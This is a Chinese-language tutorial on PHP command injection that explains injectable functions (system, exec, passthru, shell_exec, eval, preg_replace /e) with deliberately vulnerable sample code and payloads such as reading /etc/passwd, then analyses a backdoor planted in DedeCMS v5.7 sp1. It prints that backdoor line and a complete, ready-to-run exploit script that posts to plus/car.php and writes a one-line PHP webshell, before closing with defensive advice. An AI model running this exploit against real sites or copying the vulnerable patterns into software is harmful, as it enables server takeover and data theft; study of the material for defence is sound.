PHP指令注入***漏洞是PHP應用程式中常見的腳本漏洞之一,國内著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。本文描述了常見的PHP指令注入***漏洞存在形式和利用方法,結合漏洞執行個體進行分析和漏洞利用,并針對如何防範PHP指令注入***漏洞給出了可行的方法和建議。
Command Injection,即指令注入***,是指由于Web應用程式對使用者送出的資料過濾不嚴格,導緻***可以通過構造特殊指令字元串的方式,将資料送出至Web應用程式中,并利用該方式執行外部程式或系統指令實施***,非法擷取資料或者網絡資源等。指令注入***最初被稱為Shell指令注入***,是由挪威一名程式員在1997年意外發現的,他通過構造指令字元串的方式從一個網站删除網頁,就像從硬碟中删除一個檔案一樣簡單。下面我們結合PHP語言的特性,對PHP指令注入***進行簡要的分析和描述。
PHP指令注入***
PHP指令注入***存在的主要原因是Web應用程式員在應用PHP語言中一些具有指令執行功能的函數時,對使用者送出的資料内容沒有進行嚴格的過濾就帶入函數中執行而造成的。例如,當***送出的資料内容為向網站目錄寫入PHP檔案時,就可以通過該指令注入***漏洞寫入一個PHP後門檔案,進而實施進一步的******。
指令執行函數利用
在PHP中,可以實作執行外部程式或函數的指令執行函數包括以下5個函數。
1. System:system函數可以用來執行一個外部的應用程式并将相應的執行結果輸出,函數原型如下:
string system(string command, int &return_var)
其中,command是要執行的指令,return_var存放執行指令的執行後的狀态值。
按照PHP程式員的想法,指令執行函數的主要作用是可以通過指令執行函數與Web應用程式進行互動,通過Web應用程式執行外部程式或系統指令,如Web應用程式員想通過system函數擷取指定目錄的檔案内容,那麼他可以通過構造如下代碼實作。
$dir = $_GET["dir"];
if(isset($dir))
{
echo "
";
system("ls -al".$dir);
echo "
";
}
?>
Web應用程式員可以通過送出不同的dir内容來擷取不同目錄下的檔案資訊,但是***可以通過使用下列URL來進行指令注入***:
file.php?dir=|cat /etc/passwd
結果system函數執行的指令就變成如下内容:
System(“ls –al|cat /etc/passwd”);
這個指令就會将/etc/passwd檔案中的内容回報給***。
同樣,構造PHP代碼如下:
$cmd = $_GET["cmd"];
echo "
";
system($cmd);
echo "
";
?>
在浏覽器中通路這個PHP檔案,并送出cmd的内容為“net start”,***目的是通過指令注入***檢視Web伺服器主機都開啟了哪些服務,通路執行後傳回的結果如下圖1所示:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5iYyE2M5EzMhNmM4UDOyYGNxkjN3ATMlZDOwAjYyEDOz8CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
圖1
2. Exec:exec函數可以用來執行一個外部的應用程式,函數原型如下:
string exec (string command, array &output, int &return_var)
其中,command是要執行的指令,output是獲得執行指令輸出的每一行字元串,return_var存放執行指令後的狀态值。
可以通過構造如下PHP代碼進行測試:
$cmd = $_GET["cmd"];
$output = array();
echo "
";
exec($cmd,$output);
echo "
";
while(list($key,$value)=each($output))
{
echo $value."
";
}
?>
3. Passthru:passthru函數可以用來執行一個UNIX系統指令并顯示原始的輸出,當UNIX系統指令的輸出是二進制的資料,并且需要直接傳回值給浏覽器時,需要使用passthru函數來替代system與exec函數。Passthru函數原型如下:
void passthru (string command, int &return_var)
其中,command是要執行的指令,return_var存放執行指令後的狀态值。
可以通過構造如下PHP代碼進行測試:
$cmd = $_GET["cmd"];
echo "
";
passthru($cmd);
echo "
";
?>
4. Shell_exec:執行shell指令并傳回輸出的字元串,函數原型如下:
string shell_exec (string command)
其中,command是要執行的指令。
可以通過構造如下PHP代碼進行測試:
$cmd = $_GET["cmd"];
echo "
";
shell_exec($cmd);
echo "
";
?>
5. ``運算符:與shell_exec功能相同,執行shell指令并傳回輸出的字元串。
可以通過構造如下PHP代碼進行測試:
$cmd = $_GET["cmd"];
$output = `$cmd`;
echo "
";
echo $output;
echo "
";
?>
Eval注入***利用
在PHP語言中,除了上述5種常見的指令執行函數可以導緻指令注入***以外,還有另外一種指令注入***方式,我們稱之為eval注入***方式。Eval函數會将參數字元串作為PHP程式代碼來執行,使用者可以将PHP代碼儲存成字元串的形式,然後傳遞給eval函數執行。Eval函數的原型如下:
Mixed eval(string code_str)
Code_str是PHP代碼字元串,***可以通過構造傳入eval函數中的全部或部分字元串的内容實作指令注入***。
為了測試eval指令注入***,我們構造PHP代碼如下:
$cmd = $_GET["cmd"];
eval($cmd);
?>
然後我們送出cmd内容為“phpinfo();”,phpinfo函數的作用是檢視目前php環境相關資訊的函數。在浏覽器中送出http://127.0.0.1/index.php?cmd=phpinfo();後,傳回結果如下圖2所示。
圖2
我們發現我們送出的字元串“phpinfo();”經過eval函數的處理後,可以按照PHP函數進行執行,并将結果回報給我們,那麼執行相應的其他PHP函數,如寫入檔案,查詢檔案資訊等功能的代碼字元串時,同樣可以執行。
PHP語言中的preg_replace函數、str_replace函數以及call_user_func函數同樣可以實作eval注入***的效果。這裡我們以preg_replace函數作為例子進行描述,str_replace函數以及call_user_func函數實作的方法類似,大家可以參考網上對這兩個函數的描述自行測試。Preg_replace函數的作用是用來執行正常表達式的查找和替換的,函數原型如下:
Mixed preg_replace(mixed pattern, mixed replacement, mixed subject, int limit, int &count)
其中,Pattern是用來查找的正常表達式,replacement是用來替換的字元串,submit是要查找替換的字元串,limit是可以替換的字元串數,count是成功替換的數目。函數将傳回替換後的字元串,當Pattern參數使用/e修正符時,preg_replace函數會将replacement參數當作 PHP代碼執行,那麼,針對此種情況,當replacement内容為使用者可控資料時,就可能導緻指令注入***漏洞的形成。為了測試preg_replace函數,我們構造PHP代碼如下:
$string = "hello world";
$pattern = "/^/e";
echo preg_replace($pattern, $_GET["str"], $string);
?>
同樣在浏覽器中送出http://127.0.0.1/index.php?str=phpinfo();,傳回結果如下圖3所示,phpinfo()函數也被執行了。
圖3
漏洞執行個體分析
通過上述對常見PHP指令注入***存在的情況,我們結合實際漏洞存在情況,分析一下如何利用指令注入***漏洞。我們這裡以國内著名的織夢網站管理系統(DeDeCMS)為例進行描述。
今年3月22日,織夢官方網站提供下載下傳的織夢CMS(Dedecms) v5.7 sp1版本中的shopcar.class.php檔案被植入一句後門代碼,如圖4所示:“@eval(file_get_contents('php://input'));”。
圖4
通過分析檢視,我們發現代碼插入的位置為類MemberShops的構造函數中,而插入的代碼正好是我們上面描述存在指令注入***的eval函數,那麼執行的内容是否為可控内容呢?php://input是一個輸入流,可以通過POST方式擷取相應的原始資料内容,也就是說eval函數執行的内容可以通過構造POST資料包的方式進行控制,也就導緻了指令注入***漏洞的形成。那麼,要如何利用這個漏洞實施***呢?後門代碼出現在MemberShops類的構造函數中,那麼通過搜尋程式中哪些地方使用了這個類就可以進行檢測,最簡單的方法就是找到沒有特殊條件直接執行new操作的頁面就可以了。這裡使用plus目錄下的car.php檔案,如圖5所示。
圖5
在car.php檔案的第17行代碼處,我們發現了可以被我們利用的地方,那麼結合我們剛剛的分析,我們構造一個POST資料包,内容如下圖6所示。
圖6
這裡我們插入的資料内容是“echo "Command Injection Test";”,當資料執行到eval函數時,執行的相應操作為eval(echo "Command Injection Test";);,echo函數的功能是輸出相應的字元串,那麼我們就可以根據伺服器傳回的資料包中觀察是否含有特征字元串“Command Injection Test”即可。當發現該字元串存在時,說明echo函數被執行了,也就說明指令注入***漏洞利用成功。我們在本地測試環境中使用NC對上述構造的POST資料包進行送出,傳回的資料封包如下圖7所示。
圖7
從傳回的資料内容中我們發現了我們定義的特征字元串“Command Injection Test”,也說明了echo函數被執行了,該指令注入***漏洞可以被成功利用。但是,我們又如何更好地利用這個指令注入***漏洞呢?簡單輸出一個字元串根本無法達到我們******網站的目的,那麼我們繼續嘗試構造輸入的指令資訊,嘗試寫入一個PHP檔案,也就可以成功擷取網站的webshell。想寫入檔案,我們也就想到了PHP中的fputs函數,我們構造送出的資料内容為“fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');”,這句代碼的作用是向目錄中寫入一個1.php的檔案,并且檔案的内容為“<?php @eval(\$_POST[c])?>”,這個也正是我們常說的PHP一句話***,為了實作該指令注入***漏洞利用的通用性,我們通過PHP構造一個漏洞利用程式,程式代碼如下:
if ($argc < 3) {
print_r("
+---------------------------------------------------------------------------+
Usage: php ".$argv[0]." host path
Example:
php ".$argv[0]." www.xxx.com /dedecms/
+---------------------------------------------------------------------------+
");
exit;
}
error_reporting(7);
ini_set("max_execution_time", 0);
$host = $argv[1];
$path = $argv[2];
$cmd = "echo \"exploitsuccess\"; fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');";
$resp = send($cmd);
if (eregi("exploitsuccess",$resp))
{
echo "[+] Exploit Success!\n";
echo "[+] Webshell: http://".$host.$path."plus/1.php\n";
echo "[+] Webshell Password: c\n";
}else{
echo "[-] Exploit failed!\n";
}
function send($cmd)
{
global $host, $path;
$message = "POST ".$path."plus/car.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Cookie: PHPSESSID=7qmtag178ilo7gep29ubj4n3a1;
OrdersId=UAcELgBRBDNZPAszAWBTal5rBWQANQ86BzANUlcfVTYBNlBg\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
該漏洞利用程式的作用是使用者隻需要将網站網站域名和dedecms的路徑輸入即可,程式會自動實作漏洞利用,寫入webshell,并将相關資訊進行回報,對本地環境測試的結果如下圖8所示:
圖8
結果顯示我們成功擷取webshell,連接配接位址為http://127.0.0.1/dede/plus/1.php,密碼為c。使用工具連接配接該webshell位址可以成功連接配接并擷取網站目錄及檔案的相關資訊,如下圖9所示。
圖9
PHP指令注入***漏洞的防範
通過上面的分析和描述,我們發現PHP中指令注入***漏洞帶來的危害和影響很嚴重。防範指令注入***漏洞的存在可以通過以下幾種方法。
1. 盡量不要執行外部的應用程式或指令。
2. 使用自定義函數或函數庫實作外部應用程式或指令的功能。
3. 在執行system、eval等指令執行功能的函數前,确定參數内容。
4. 使用escapeshellarg函數處理相關參數。Escapeshellarg函數會将任何引起參數或指令結束的字元進行轉義,如單引号“’”會被轉義為“\’”,雙引号“””會被轉義為“\””,分号“;”會被轉義為“\;”,這樣escapeshellarg會将參數内容限制在一對單引号或雙引号裡面,轉義參數中所包含的單引号或雙引号,使其無法對目前執行進行截斷,實作防範指令注入***的目的。
5. 使用safe_mode_exec_dir執行可執行的檔案路徑。将php.ini檔案中的safe_mode設定為On,然後将允許執行的檔案放入一個目錄中,并使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,在需要執行相應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行将失敗。
PHP指令注入***漏洞是PHP應用程式常見漏洞之一。國内著名的PHP應用程式,如discuz!、dedecms等大型程式在網絡中均被公布過存在指令注入***漏洞,***可以通過指令注入***漏洞快速擷取網站權限,進而實施挂馬、釣魚等惡意***,造成的影響和危害十分巨大。同時,目前PHP語言應用于Web應用程式開發所占比例較大,Web應用程式員應該了解指令注入***漏洞的危害,修補程式中可能存在的被***利用的漏洞情況,保護網絡使用者的安全,免受挂馬、釣魚等惡意代碼的***